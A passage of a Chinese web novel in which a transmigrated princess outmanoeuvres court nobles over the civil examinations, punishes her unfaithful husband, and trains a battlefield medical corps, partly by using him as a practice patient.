其二,寒门抱团?世家不抱吗?那尔等围攻于我,当作何解?沿用九品中正制只会让朝堂上皆是亲族故旧,寒门子弟则无裙带关系,又何来党争之说?
其三,耕织有农桑之法,与科举何干?
其四,国库耗费不过是一时之支,招贤纳士才是万世之利。
此四项,诸人大人心知肚明,以此阻扰科举制,是将朝政当做私器吗?”
右仆射从容出列,对冷小幸缓缓道:“公主此言过重,世家与国休戚与共,科举制贸然推行,恐引天下世家寒心,当谨之重之。”
“大人所言,恰恰说明世家乃是国之隐患。”冷小幸沉声道。
话音刚落,吴思齐上前出列,躬身垂眸道:“陛下,臣斗胆进言。朝堂政务繁杂,实非公主久留之地。公主金枝玉叶,当安享尊荣。臣恳请陛下以公主凤体为重,令其回归内廷,方合礼制。”
此言一出,百官噤声,众人目光灼灼地望向皇帝,皇帝看向冷小幸。
“驸马出身世家大族,可懂得礼吗?”冷小幸则笑问吴思齐道。
吴思齐想到陈宝珠腹中的孩子,心头一颤,低头恭声道:“臣
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幼承庭训,承家学、明礼法,自然懂得。”
冷小幸环顾四周朝臣,又问:“宣平侯府可为世家学礼之典范吗?”
众朝臣不明所以,纷纷应和称赞宣平侯府是真正的诗礼传家,族人各个知书达礼、矩步方行。
冷小幸闻言,转身面向皇帝,像变了个人般福身道:“父皇,儿臣既已嫁入宣平侯府,为吴家妇,当尊吴家祖训,恪守妇德。军政大事应当决于父皇与诸位大臣,儿臣不敢置啄。”
皇帝心中诧异,但面上不动声色,抬手道:“昭华,到父皇身边来。”
冷小幸拾阶而上,站到龙椅旁,俯视众人。
朝臣皆以为这吴思齐美男计成功。
唯有吴思齐心中不安。
下朝后,皇帝问冷小幸道:“怎么改主意了?”
“我朝初立,百废待兴。科举之事,事关重大,确当谨慎。”冷小幸勾着嘴角道:“且父皇有意出兵塞外,此时朝堂不宜有大动作,一切等战事结束再议不迟。”
“想来会有些识情识趣的世家在战场好好表现,以期证明国朝需要他们。”冷小幸一脸坏笑。
“你呀,”皇帝微微摇头,故意问道:“若是他们以此邀功,或者因此自大,又该如何?”
“父皇坐拥天下,率土之滨莫非王臣,真有那脑子不清楚又没眼色的,不正可拿来杀一儆百,以儆效尤?”冷小幸理所当然道。
皇帝听了,哈哈大笑。
冷小幸跟着一起大笑。
父女俩的笑声响彻宫殿。
父女俩都明白对方未说出口的话,世家自九品中正制迅速崛起,到如今已与寒门有了巨大阶级差异,为长远计必须铲除。
但世家全然不好吗?必须立刻连根拔起吗?
这却未必,至少在科举人才成长起来前,还需要世家出身的官员稳固朝纲。
父女俩都没有要将事情做绝的意思,只不过想让世家分润出一些,不再有“铁打的世家,流水的王朝”,让寒门子弟也有改换门庭的上升渠道。
“做戏要做全套,科举制推行不急于一时,”冷小幸扶着皇帝道:“父皇龙体渐愈,如今不需儿臣时刻陪着,儿臣今日便去宣平侯府,以后每日进宫为父皇看诊如何?”
“去那做什么?”皇帝不悦道:“我儿不必委曲求全,即便立刻赐死了他们全家,也无碍。”
“父皇误会了,儿臣是想出宫组建一支军中医疗队。”冷小幸道。
“各军中都有军医,你建医疗队做什么?”
“儿臣所要建的医疗队,与军医不同。不必如军医般苦学很久医术,可快速训练出一批得用之人。儿臣想着在民间收些机灵、细心、大胆的少男少女,教他们些粗浅医术,主要是包扎之术,战时可及时为受伤将士包扎伤口,减少伤亡。”冷小幸解释道:“去宣平侯府也是为了将来重回朝堂议政。”
皇帝沉吟片刻道:“你既心有陈算,为父也不拦着,走之前去看看你皇嫂。”
13.替驸马养私生子的公主13
“是,说来儿臣进宫这么些时日还没顾上去看望皇嫂、侄女呢。”冷小幸笑嘻嘻答应了,又道:“等父皇好了,侄女再大些,儿臣抱她来给父皇瞧瞧。”
“好,”皇帝想到早逝的太子,眼眶湿润颔首道。
一个时辰后,少阳宫里太子妃靠在塌上,含笑看着冷小幸边与赵国公夫人寒暄,边逗弄女儿。
略说了几句,冷小幸便道:“我有几句话与嫂嫂说。”
这样的单刀直入,不由令赵国公夫人一愣,她随即道:“老身告退,就不在此打扰娘娘与公主。”
“夫人客气,”冷小幸起身,亲自送赵国公夫人出门。
而后将近来发生的一切告诉太子妃,最后道:“嫂嫂要早做打算才是。”
太子妃与太子情投意合,昭华公主是太子唯一的胞妹,是以太子妃亦十分疼惜昭华公主。
昭华公主本人除了有些恋爱脑之外,其它尚可,一向对太子妃敬重有加,两人姑嫂关系还不错。
太子妃不期竟发生了这么多事,她想着昭华公主被驸马吴思齐伤透了心,又惊逢大变,成长了不少,倒也没太怀疑换了人。
冷小幸觑着太子妃面色见她并未起疑,觉得系统、主脑在这点上做的还不错,算是有可取之处。
太子妃不瞒冷小幸道:“我原想着待我出了月子,便自请出宫,想来父皇会赐座王府给我这个未亡人,让我将小郡主养大成人,日后也可在王府颐养天年。赵国公府也会有所退让,以待来日君主。”
“嫂嫂想的是,确不必急于一时,”冷小幸点头道。
太子妃听了这话不由心头一紧,握住冷小幸的手道:“妹妹你想做什么?”
“我心里有一个念头,如今却不好说,待时机成熟,再与嫂嫂商议,”冷小幸看太子妃惶恐不安的脸道:“嫂嫂放心,我不会让你为难的,绝不强求。”
太子妃听了,愈发不安道:“妹妹,太子与母后走前都放心不下你,你可不能做傻事啊。”
“嫂子想哪儿去了?放心吧,父皇尚在,我岂会乱来。”冷小幸安抚道。
太子妃见问不出什么,不再纠缠转而问道:“你出宫是回公主府还是去宣平侯府?”
之前听昭华公主搬去宣平侯府,太子妃便知是宣平侯府有意为之。
昭华公主是本朝开国第一位出嫁的公主,若是她不住公主府,反而屈尊降贵住到婆家,让以后的公主何其难做?
这个时代,媳妇难当,唯一能在嫁人后舒心点的便是可开公主府另居的公主们。
可要是昭华公主开了先例,以后的公主只怕都得住到婆家去了。
此举除了损害公主乃至全天下女子的利益,也会降低皇家的威严,助长朝臣、勋贵的气焰。
太子妃知道昭华公主一心扑在吴思齐身上,但此事她还是想劝一劝。
冷小幸明白太子妃之意道:“先去宣平侯府待几天,等事情了解,自然要回公主府。”
不等太子妃问怎么了解,冷小幸接着道:“我想组建一支能上战场的医疗队。原想直接从民间挑,但父皇让我来找嫂嫂,想必是要我从宫中先挑些可用的宫女内侍。”
太子妃听了这话,便明白皇帝大概不会再立后,短期内也不会有新太子,她了然道:“我挑些人与你,好不好的你再挑挑看。”
“嫂嫂给的人必定是极好。”冷小幸笑道。
“滑头,”太子妃点着冷小幸鼻尖道。
太子妃虽然坐着月子,但她对宫中人员了如指掌,很快弄出份名单,将人召集到少阳宫,请冷小幸过目。
冷小幸也不去看,尽数收下,谢过太子妃便将人带去宣平侯府。
宣平侯夫人听说冷小幸回府,急忙赶去见她,不料吃了闭门羹,心中不免有些气恼。
又听闻冷小幸从宫中带出不少内侍、宫女,她不知医疗队之事,便以为这是皇帝给冷小幸的人手,免得她在宣平侯府受委屈。
想到此节,宣平侯夫人鬓角冷汗直流,坐立难安,惧怕皇帝知道陈宝珠与吴思齐珠胎暗结,忙使人去官署叫儿子回来。
吴思齐在官署受到了同僚们对他褒奖,皆说他是将公主撵回内宅的最大功臣。
其中还有些阴阳怪之语,但吴思齐只觉他们是吃不到葡萄说葡萄酸,他心中暗自得意,面上甚是谦和。
听闻公主归府,母亲命人叫他回去,吴思齐忙向上官告假。
上官自无不许。
见吴思齐离开,同僚们又聊了几句,有人突然道:“公主不再上朝,那此次她的救驾之功当另行赏赐,只怕会恩泽驸马。”
众人听了,不免有些眼馋牙酸。
吴思齐显然也这么想,他一边往家赶,一边问宣平侯夫人派来的人:“只公主回府吗?宫中没有旨意赐下?”
“回世子的话,没有旨意。”
吴思齐听了,心有不满,只觉冷小幸不懂事。
他当然不能因冷小幸之功为自己讨赏,但冷小幸作为他的妻室应当将这份功劳带来的荣耀捧到他面前,百般央求他笑纳,才是为妻之道。
此刻,吴思齐已全然忘记前几日冷小幸对他的冷淡,忘记自己曾经因此是如何忐忑不安、辗转反侧。如今只觉那是因为冷小幸忧心皇帝身体,无暇他顾,并非冷淡于他。
今日只因他一句话,冷小幸便乖乖退回内宅,还主动前往宣平侯府,而不是公主府,可见冷小幸多么怕失意于他。
带着这份偏爱,有恃无恐的吴思齐回到宣平侯府,先去拜见宣平侯夫人,才知冷小幸竟敢不见母亲,心中对冷小幸更加不满。
宣平侯夫人拉着他,惴惴不安道:“公主带了宫里好多内侍、宫女来,不知这是何意?”
“母亲不必担心。”吴思齐不以为然道:“我这就带她来向母亲请罪。”
说罢,自信满满起身前往自己院落走。
吴思齐脚下虎虎生风,还没出正院大门就被匆匆赶来的陈宝珠拦下。
“不是说了吗?让你在房里歇着,
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又出来做什么?”吴思齐满脸疼惜几步迎上去。
冷小幸带着宫里的人回府。
这样的消息,陈宝珠怎么还能坐得住?
她想:“若是我与表哥的事叫皇帝知道了,皇帝或许会投鼠忌器不动公主心尖尖上的驸马表哥,但我呢?在皇帝心里定然是我蓄意破坏公主与驸马的夫妻情谊,一定会赐死我的。”
陈宝珠泪流满面,扑在吴思齐怀里抖着嘴唇道:“表哥救我。”
“别怕,表哥会保护好你的。”吴思齐一下又一下抚摸着陈宝珠颤抖的脊梁道。
“真的?”
“真的,表哥什么时候骗过你,”吴思齐用帕子擦拭着陈宝珠小脸上的泪水,哄道:“乖,不哭了,都快做娘的人了,怎么还像小时候一样。你放心,先进屋与母亲一起等我回来便是。”
陈宝珠抱着吴思齐,脑袋在他衣襟上蹭了蹭,才恋恋不舍放手。
屋里的宣平侯夫人隔着开着的窗户看到一幕,皱起眉头,头一回觉得自己这个侄女举止不检,没有大家闺秀的样子。
已经走出去的吴思齐却觉得陈宝珠很好,满心满眼都是她,他到没觉得陈宝珠是感受到了死亡的威胁,只觉是因为陈宝珠有了他的孩子,更依恋他了。
孩子?对,孩子。
吴思齐想起宣平侯夫人此前的叮嘱,忍辱负重叹了口气,如今的情形,为了陈宝珠,为了他和陈宝珠的孩子,他都不能再冷落公主,早日与公主圆了房,遂了公主心意,他也好张口叫公主认下孩子。
毕竟他都做出这么大牺牲,公主也该有所回报,不是吗?
带着这样的念头,吴思齐终于走到自己曾经的院门口,却被内侍拦住道:“公主不曾宣召,驸马请回吧。”
“大胆,竟敢拦我,待我见到公主,定要治你们的罪,还不让开。”吴思齐勃然大怒,抬腿往进闯。
内侍苦拦,又不敢对他动手,两相僵持,吵闹之声渐大。
冷小幸正在屋中写医疗队建设细则,听到喧闹,不悦道:“怎么回事?”
刚听完小丫鬟回禀的紫藤,从外面打帘子进屋忙回道:“是驸马非要进院子被内侍拦住了。”
冷小幸毫不掩饰厌恶嫌弃之色,对紫藤道:“告诉府军,赏驸马十板子,让他清醒清醒。”
一旁的崔嬷嬷迟疑道:“且慢,这十板子打下去,驸马怕是走不了路,若是传扬出去,只怕有损公主名声。”
冷小幸笔下不停道:“无妨。”
崔嬷嬷便不再多说。
紫藤领命而去。
吴思齐认得紫藤,见她快步而来,身后还跟着几个府兵,府兵手里拿着行刑用的长凳、板子。
“公主派人来给我出气了,”吴思齐心道。
他微整衣襟,矜傲开口道:“紫藤你来的正好,这两个奴才目无尊卑,快些处置了他们。”
紫藤行至吴思齐身前,行了个万福礼道:“奴婢见过驸马爷,公主有命赏您十板子,让您清醒清醒。”
14.替驸马养私生子的公主14
吴思齐不敢相信自己的耳朵,愣在原地。
两个府兵如狼似虎般上前将他擒拿反剪。
吴思齐厉声道:“放肆,我是驸马,你们怎敢如此待我?!”
“您方才不是说了吗?尊卑有别,公主是君,您是臣,君臣自有尊卑,您就好生受着吧。”紫藤面带讥笑道。
“我,我不信,”吴思齐拼命挣扎,大喊道:“昭华怎会如此待我,定是尔等阳奉阴违,放开我,我要见昭华。放手!我叫你们放手。”
挣脱不了的吴思齐惊慌道:“我,我不但是驸马,还是宣平侯世子,是朝廷命官,你们竟敢对我动私刑。昭华,昭华,你快出来看看啊,你别闹了,你快让他们住手。”
紫藤摆摆手,一个府兵上前将一块大抹布塞进了吴思齐的嘴里。
整个口腔被塞满的吴思齐不断发出呜咽声。
紫藤与府兵都不理会。
吴思齐被粗暴按到长条凳上,趴下裤子。
屁股一凉的吴思齐心也凉了半截,他明白这必是冷小幸下的命令,不然这帮下人不敢如此待他,想通此节他便停止挣扎。
吴思齐觉得既然挨打避无可避,亦不可坠了他郑州吴氏的威名,遂摆出一副大义凛然无畏模样。
奈何吴思齐是没吃过苦的,一鞭子下去,就见他剧烈抽搐,府兵险些没按住。
要不是他嘴里塞着抹布,必会惨叫出声,面上已鼻涕眼泪直流,丑态百出。
冷小幸一只耳朵听吴思齐挨打啪啪啪的板子声,一只耳朵听公主系统的痛哭指责。
“你怎么能这么对他,他是驸马,是你的丈夫啊。”公主系统以一种天塌了的口吻指责道。
冷小幸晃了下脑袋,奇道:“我只听过打在儿身痛在母亲心,你又不是他母亲,你哭什么?”
“你,咳,”公主系统哭到喘嗽:“咳咳,这天下间哪有做妻子打丈夫,这么大逆不道的事?你快叫他们停下来,好生给驸马赔罪去呀。”
冷小幸冷哼一声,不再理公主系统。
跟着吴思齐的丫鬟噤若寒蝉,有个机灵的偷偷后撤去报信,紫藤等瞧见并未阻拦。
宣平侯夫人已送走陈宝珠,她正摆好架势,等着冷小幸前来请罪,心中思量该怎么拿捏冷小幸,就听到窗外穿来急切脚步声,一个丫鬟张皇失措跑进来。
屋中的大丫鬟代宣平侯夫人开口训斥:“慌什么,没规矩。”
“夫,夫人,”跑进来的丫鬟上气不接下气道:“您,快去,快去看看吧,公主使人打世子呢。”
“什么?”宣平侯夫人霍然起身,上前抓住丫鬟道。
丫鬟喘了口气道:“是真的,公主身边的紫藤带了府兵把世子按住打板子,说是要打十板子呢,您快去救世子,晚了就来不及了。”
宣平侯夫人撒了手,忙往出走,左一脚右一脚像是踩在棉花上,只觉平时抬脚就到的路,半天也走不到。
还没等宣平侯夫人等一行人赶到吴思齐挨打的院子,半路上就碰到已经挨完打正被抬着往正院走的吴思齐。
宣平侯夫人惨叫一声,扑了上去,眼泪瞬间落下泣道:“我的儿。”
她的心腹嬷嬷一面催着人去请大夫,一面劝宣平侯夫人道:“夫人,先把世子抬回去。”
宣平侯夫人六神无主,只顾点头,魂不守舍跟着吴思齐回了屋,把他安置在床榻上。
闻讯赶来的陈宝珠捂着胸口泪如雨下,身形摇摇欲坠趴在床头哭道:“公主怎能这般狠心!这般跋扈!”
吴思齐听了这话,半睁着眼睛气若游丝发出声音。
因声音极小,听不清楚。
陈宝珠见了,直起身子凑近问道:“表哥,你说什么?”
“不,不可对公主不敬。”
“她都把你打成这样了,你还护着她,”陈宝珠尖叫起来,声音刺耳。
吴思齐提着一口气,急道:“今时不同往日,倾家之祸就在眼前,万不能祸从口出。”
陈宝珠见吴思齐面无血色,嘴唇苍白,只觉心头一酸慌忙道:“好,我听你的,表哥,你别急。”
吴思齐又对宣平侯夫人伸手。
宣平侯夫人连忙握住,将耳朵凑近吴思齐的嘴,听他道:“母亲,封锁消息绝不能传出去一丝一毫。”
“好,你放心,母亲去办。”宣平侯夫人虽然不解,但见儿子如此赶忙照做。
不久,府医来了,给吴思齐细细看过,留下金疮药,教丫鬟怎么上药后,他亲自去熬汤药。
等一切收拾停当,吴思齐早已昏睡过去。
宣平侯夫人与陈宝珠姑侄守到半夜,吴思齐才醒。
吴思齐先对陈宝珠道:“你怀着身子,不可如此,快回去歇着。”
陈宝珠不肯走,被吴思齐、宣平侯夫人再三劝着,才一步三回头不放心回去歇着。
丫鬟服侍吴思齐用些了汤饮,便都被打发下去。
宣平侯夫人见吴思齐有了精神,便道:“这是怎么了,好好的,为什么打你?你又为什么要为母亲封锁消息,就该传出去,叫大家评评理,哪有妻子打丈夫的?”
“母亲,我与公主不是普通夫妻,所谓雷霆雨露皆是君恩,”吴思齐趴在床上,侧脸苦笑道:“之前,陛下病重,我们暗地里败坏公主的名声,也罢了。如今皇帝痊愈,公主刚立下大功,若将此事闹到满城风雨,陛下定会怪罪我等,得不偿失。”
“再者,难道我堂堂一个七尺男儿,被公主赏了十板子是什么值得宣扬的好事吗?”不等宣平侯夫人再言,吴思齐又道。
“母亲,”吴思齐闭了闭眼,缓了缓神,压低声音道:“之前你告诉公主珠儿腹中是我的骨肉,还有没有第三人听见。”
“没有,”宣平侯夫人心惊肉跳道:“难道是陛下知道了?”
吴思齐摇头道:“应当不是,要是陛下知道,此刻我焉有命在?”
“那,公主是因为这个打你?那日她
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明明答应要将孩子认在她名下,难不成她反悔了?就算反悔,也不能因此打你啊。”宣平侯夫人气愤道。
吴思齐抓着宣平侯夫人将她拉近道:“当日之事无需再提,母亲,无论公主是否反悔,我们都不能认下这个孩子。”
宣平侯夫人不解道:“我的儿,你这话是什么意思?”
“公主素无心机,又爱我至深,今日突然发作定是因为此事。如今陛下不知还好,若是再闹下去叫陛下知道,我们拿什么平息陛下的怒火?”吴思齐斟酌着一字一句道:“就说是珠儿另有心上人,她怕你要她打掉孩子,才骗你说那是我的孩子。”
“这,公主能信吗?”宣平侯夫人捏着帕子道。
吴思齐只觉被打的皮肉又痛又痒,他咬牙道:“我们对好词,好生与公主解释,她爱我,她会愿意相信的。”
“可是之前公主见我给你写了信。”宣平侯夫人隐隐有些不安。
“对,这也是证据,”吴思齐立刻道:“把我的回信找出来烧掉,我重写一封,反正公主没见过我的回信。”
宣平侯夫人到底还是心疼侄女,她道:“那珠儿和她腹中的孩子怎么办?”
“先将她送出去待产,等过些时日,再接她回来。”吴思齐闭上眼,隐藏自己眼中的不舍道。
宣平侯夫人俯下身子,悄声道:“我的儿,你是说等陛下驾崩,二皇子继位,再接珠儿回来。可陛下如今好转,何时才能驾崩?孩子生下来可就塞不回去了,你叫珠儿日后怎么做人?又如何向外人交代孩子是哪来的?要不趁月份还小,打下来吧。”
“母亲,我都舍不得,珠儿一定更舍不得。何况您也知道珠儿身子不好若是打下这个孩子,她以后就再没孩子了,那岂不是要了珠儿的命?”吴思齐强忍泪水,涩声道:“为今之计,只能走一步看一步。等天明先把珠儿送走,然后我们去给公主请罪。”
宣平侯夫人拿帕子擦着吴思齐鬓角渗出的冷汗,心疼道:“好,都听你的,你好好养伤。”
等天渐渐亮起,城门一开,也不知宣平侯夫人是如何劝说陈宝珠的,陈宝珠并未哭闹,乖乖坐马车去城郊庄园。
宣平侯府在城外庄子多,陈宝珠所去并非宣平侯养病的庄子,两个庄子离得远。
宣平侯夫人母子并不打算让宣平侯知道这些事。
再三对过说辞,吴思齐叫人抬着,与宣平侯夫人一同去向冷小幸请罪。
冷小幸本不想见他们,奈何公主系统声泪俱下非要让冷小幸放他们进来,扰的冷小幸不胜其烦。
她对公主系统道:“行,我放他们进来,但五天之内你不能发出一点声音,不然我就弄死吴思齐,这破任务不做也罢。”
公主系统满口答应道:“他们来一定有话说,等你听了就知道你错的离谱,等下你好好给驸马和宣平侯夫人赔个不是,他们一个是你的丈夫,一个是你的婆婆,你得叫他们知道你知错了,你会改,你一定能做个贤妻才是。”
15.替驸马养私生子的公主15
“你要是再让我听到这样的话,我保证吴思齐死无全尸。”冷小幸气笑了。
公主系统慌了,忙道:“我不说了,不说了,你冷静,别生气。”
吴思齐母子进来时,正赶上冷小幸发作公主系统。
母子二人眼神示意冷小幸清场。
冷小幸一脸寒霜,鼻孔出气道:“想说便说,不想说就滚出去。”
宣平侯夫人、吴思齐为之一振,只得期期艾艾将他们编造的说辞对冷小幸说了一遍。
冷小幸挑眉道:“这么说,陈姑娘腹中的孩子与驸马无关?”
“当然无关,都是我偏听偏信,没有把事情弄清楚就来聒噪公主,倒害得到你们夫妻生隙,都是我的错。”宣平侯夫人姿态放得极低。
吴思齐忙表白道:“昭华,我心里只有你,怎么可能跟别的女人掰扯不清,我们这么多年的情分,难道你还不相信我?”
说罢,拿出伪造的回信作为证据。
“你看,当时我收到信便向母亲否认了此事,只是你不在府中,我又不能进宫见你,若要人传信又怕节外生枝,这才未曾告知于你。”吴思齐满脸希翼望着冷小幸。
“如此倒是本宫错怪驸马了。”冷小幸看完信,懊恼道。
吴思齐母子齐齐松了口气,皆道:“无妨,无妨,这都是你/我二人太过在乎对方的缘故。”
“既然误会解除,不知驸马是想留在这养伤,还是去别处安置?”冷小幸一副想要将功补过的模样。
吴思齐忙道:“自然是留在这,你在这,我还能去哪?”
冷小幸听了这话,脸颊飞红,微微垂首。
宣平侯夫人见了,心下大定道:“公主医术超群,思齐又一心恋着公主,自然是在这养伤的好,有劳公主费心。”
“既如此,本宫便替学徒们谢过二位了。”冷小幸起身笑道。
学徒?什么东西?
没等宣平侯夫人母子反应过来。
冷小幸已命人将她从宫里带出的人召来。
对众人道:“昨日让你们学的要义可都记熟了?驸马大义,愿做教具给你们练手,还不快谢谢驸马。”
众人齐声行礼道:“谢驸马。”
声音洪亮,整齐划一,场面颇为震撼。
吴思齐不明所以,接口道:“不必客气。”
冷小幸命人撤去两旁桌椅,摆上麻布、三七、白芨、蒲黄、草木灰、清水、探针、镊子、小刀、缝合针线、夹板等物。
她吩咐道:“纸上得来终觉浅,还是要亲手练过才行,现在你们一个一个来为驸马上药,让本宫看看你们的手法如何。”
宣平侯夫人看到一旁还放着两个火盆,上面烤着几块已烧通红的烙铁,只觉魂飞魄散,不由上前两步失声叫道:“公主。”
“夫人别急,安心待着便是,”冷小幸先对宣平侯夫人道,又转头对着众人道:“虽然战场上不会遇到心急的家属,但你们若日后在民间行走,难免会碰到情绪激动的家属干扰治疗,安抚他们也是你们的职责之一。”
听训的宫女、内侍中不乏有机敏之人,立刻有两个内侍上前架住宣平侯夫人不让她靠近,还有两三个宫女从旁劝说。
冷小幸命众人站成一个圈儿,将吴思齐包围在中间。
她则坐在吴思齐身边的一张小椅上,认真观察起来。
再机灵的初学者刚上手时也难免笨手笨脚,第一个上场的宫女将药粉调和在一个小碗里,接着小心剥去吴思齐的裤子,用清水洗净他的伤口,再用竹片上药。
吴思齐发出惨烈的叫声。
宫女吓了一跳,不敢再动。
冷小幸起身走近,高声让在场所有人听到:“军中用药难免烈性些,上药时伤口更疼也是常有之事,但军中士兵要比驸马坚毅勇敢的多,大约不会如此丢人叫唤。”
吴思齐听了这话,只觉一口气上不来,血涌到脑门,只恨自己还没晕倒,要受此折辱。
“不过呢,要是将来你们遇到这种情况,叫你们分神,就堵上他们的嘴,记住非常时期救下他们的性命比什么都重要,”冷小幸郑重道。
宫女躬身道:“是,”拿麻布堵上吴思齐的嘴,继续动手。
冷汗从吴思齐身上溢出。
冷小幸见状,指着他的屁股对众人道:“你们注意看,上药时有汗水很正常,但汗水渗进伤口,不但会造成疼痛,还不容易愈合,时间充裕可以擦一擦,时间不够便不用管,战场上抢救伤员一切以活命为先,明白了吗?”
“回公主的话,明白了。”众人齐声道。
如此折腾一日,吴思齐被反复折磨,后半程就昏了过去,最后高烧起来。
冷小幸便道:“外伤除了伤口用药之外,也要喝些草药,以缓解伤者发热等症状,你们都去配药吧,每人熬出一小盅的量来。”
等药熬好了,冷小幸又让他们给吴思齐硬灌进去。
宣平侯夫人早已瘫软在地,眼泪都快流干了。
冷小幸不为所动,上一世他们联合起来让昭华公主吃了那么多苦,最后还毒死了她,这点惩罚算得了什么呢?起码如今在救治吴思齐,不是吗?
宣平侯夫人、吴思齐也没法反抗,但凡他们提出一点反对意见。
冷小幸张嘴就是:“这都是为了大战在即做准备,难道你们不想为父皇分忧吗?不想为江山稳固出份力嘛?不想让在边关受苦的黎明百姓,将士们早日卸甲归田、安居乐业吗?”
“还是你们不相信本宫的医术?或者觉得驸马比父皇金贵,本宫治不得?”
左一句江山社稷,右一句君臣大义,压得吴思齐、宣平侯夫人透不过气,无言以对。
冷小幸心中冷笑:“上一世你们一口一句贤良淑德、温婉恭顺硬生生逼死昭华公主,现在知道滋味了吧?刀子割在自己身上才知道疼。”
终于等所有人喂完了药,冷小幸吩咐道:“方才你们自己上手试过,本宫也一一指导过,回去写一份感想,明日给本宫看。”
“公主,我等不会写字。”有几
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个宫女、内侍怯生生开口。
冷小幸闻言道:“会写字的自己写,不会写字的口述让别人写,不会写字的抓紧时间学,好了,都退下吧。”
打发走学徒,冷小幸对宣平侯夫人道:“夫人是要把驸马带回去呢,还是把他留在这儿?”
宣平侯夫人脑袋木木,好半天才反应过来冷小幸说了什么。
她一个激灵,连忙赔笑道:“公主累了一日,怎好再劳烦公主,我这就把他带回去。”
“那就带回去吧,不过明天早上可还得送过来继续做教具哦。”冷小幸笑面如花。
刚站起来的宣平侯夫人脚下一个趔趄,幸亏被身旁丫鬟扶住才没摔倒。
冷小幸如恶魔般道:“怎么?夫人不愿意?”
“不是,”宣平侯夫人低头道:“是我脚麻没站稳,公主放心,明儿一早我把思齐送来。”
冷小幸这才罢休。
她对公主系统道:“瞧瞧,这就是你爱了一辈子、甘愿为他去死的好男人,在权势面前就不承认自己做过的事,还把脏水泼到自己心爱的女人身上,什么玩意儿?”
公主系统一声不吭。
冷小幸略带遗憾道:“哎呀,你居然没上当,你还真在乎他呀,早知道我应该跟你约定从此以后你都闭嘴才是。”
被公主系统惦记的吴思齐尚人事不省。
宣平侯夫人擦着眼泪焦急问府医:“他怎么样?”
府医听闻这是公主下令做的,能说什么?只能硬着头皮道:“夫人别担心,驸马并无大碍,也不用其他药,好好睡一觉就是,等他醒来喂他用些参粥。”
“真的吗?”宣平侯夫人泪眼婆娑。
府医躬身道:“卑职怎敢欺瞒欺瞒夫人,公主手底下的人用药极有分寸,勤上药亦有利驸马伤势,想来不久驸马便会痊愈。”
两人正说着,有丫鬟进屋禀告公主召府医觐见。
府医只得辞了宣平侯夫人去见冷小幸。
他一点也不想卷入这等阴私之事,心中反复思量该如何应对冷小幸。
却不想冷小幸压根不提后宅争斗,只道:“我看了你对驸马伤势的处置,用药手法都还不错,不知你可愿意教宫中出来这些学徒们一些粗浅医术?”
“这,公主医术超凡,卑职怎敢班门弄斧。”府医恭谨答道。
冷小幸冷着脸道:“愿意就愿意,不愿意就不愿意,本宫不想听这些废话。”
“公主抬爱,卑职荣幸之至。”府医忙道。
冷小幸满意颔首:“那你这几日就在这儿好生效命吧,行了,下去吧。”
府医弯腰告退,出了房门微风一吹,只觉后背微凉,原来是被汗水浸湿衣裳。
引路的丫鬟带他到了地方,才发现还有一位大夫也等着了。
上前互相行礼,才知道等着的大夫是奉命前来的军医。
引路丫鬟对两人道:“公主有命,你二人负责教导学徒,需商议共事,若有争强好胜者误了事,自有律法处置,决不轻饶。”
16.替驸马养私生子的公主16
两人忙答应,先相互交流一番,互相有底,又一同与众学徒挨个谈过话,商量着制定教学计划,再三校对后奉于冷小幸。
冷小幸看过,略修改一二,命他们严格执行,务必尽快将学徒训练出来。
两个大夫躬身应是。
此后,除了吴思齐、冷小幸还想尽办法找到一些其他伤员供学徒练手。
不过除了吴思齐得到了反复上药的特殊待遇,其他伤员均按部就班,正常治疗。
对此,冷小幸以驸马身份尊贵,理应好生照料为说辞堵住宣平侯夫人和吴思齐的嘴。
老实说,现在宣平侯夫人和吴思齐不大敢招惹冷小幸。
冷小幸也不在乎他们二人所思所想。
她发现因为时代的局限性,这个世界还没有无菌观念,工具和药物等消毒不彻底,败血症和坏疽是导致伤员死亡的主要原因。
另外由于军医包扎手法普遍比较粗暴,存活率很大程度上依赖伤者自身的体质和运气。
同时,冷小幸也发现虽然时下的人没有“微生物”和“无菌”的概念,但大夫们通过长期实践,总结出许多能有效减少感染、改善伤口环境的方法。
比如在处理伤口前通过沸水、酒、醋、盐水等清洗伤口,高温烧灼所用器械、用烧红的烙铁直接灼烧出血点,在伤口上涂抹蜂蜜、糖蜜,用富含生物碱的大黄、黄连、黄柏等药物疗伤,点燃艾叶熏灸伤口等。
在有条件的情况下,军医会尽量选择通风、干燥、明亮的场所作为医帐,避免在污秽、潮湿处进行伤口处理。
还会用丝绸(贵人专用)、油纸作为敷药的内层,避免伤口血肉粘连,观察到伤口化脓,会切开排脓等方式加速伤口愈合。
但因战场的混乱场面以及现在的生产低力下的客观条件限制,很难维持无菌环境。
受时代制约,且新朝初立百姓温饱尚未完全解决,冷小幸一时半会也拿不出更好的法子,只能先叫学徒们学会更加专业、细致的上药手法,并对器械的煮沸时间,麻布等不可重复使用进行了严格规定,违者重罚。
如此高强度训练了半个多月,学徒们基本出师,吴思齐的伤也见好了。
冷小幸亲自领着学徒们到南衙十六卫、北衙禁军、京城周边关中府兵一一实地上手治疗伤员后,上了折子给朝廷。
此事在朝堂上引起震动,谁也想不到,他们把冷小幸赶回内宅,可不过短短时日冷小幸反手就训练出一支锋刃救急的医疗队,可以想见医疗队一旦成型,广泛使用在军队中会减少多少伤亡,为战役的胜利增添多少筹码。
这样的大功不可不赏,但更不能任由冷小幸个人继续扩大医疗队,不然将来天下军队都要感念冷小幸的恩德,要趁现在把医疗队的建设收入朝廷责任范围。
大臣们以冷小幸是公主,是皇女,这是皇帝教导之功,同时冷小幸也是宣平侯府的儿媳,这也是宣平侯府、驸马吴思齐的功绩,他们极力缩小冷小幸对此的贡献。
冷小幸公开上书道“史书卷卷未见女子功绩,究竟自古以来女子无功于社稷,还是因为女子功绩,皆被张冠李戴,被他们父兄丈夫窃取?如今朝堂上都是些打着孝道、妻德意欲夺取我功劳的窃贼吗?”
如此不留情面的急言令色让习惯隐晦曲折的朝臣们、尤其是世家出身的臣子们很不适应,纷纷出言辩驳,但因为冷小幸不在朝堂,有种隔空打牛之感,更重要的是皇帝明显偏向冷小幸,丝毫没有将医疗队后续建设指派他人之意。
于是,部分人将希望寄托于吴思齐,劝说他再次出面说服冷小幸自愿献出医疗队及后续建设权限。
在府中躲了大半个月养伤,重新出现在人们视野中的吴思齐在众人的吹捧及教唆下,再一次忘乎所以、自信爆棚。
他觉得既然已经向冷小幸表明心意,又否认了与陈宝珠的私情,还将陈宝珠送走以示诚意,冷小幸早已原谅了他,且冷小幸爱他至深不是吗?不然之前怎么会因为他一句话就退出朝堂呢?
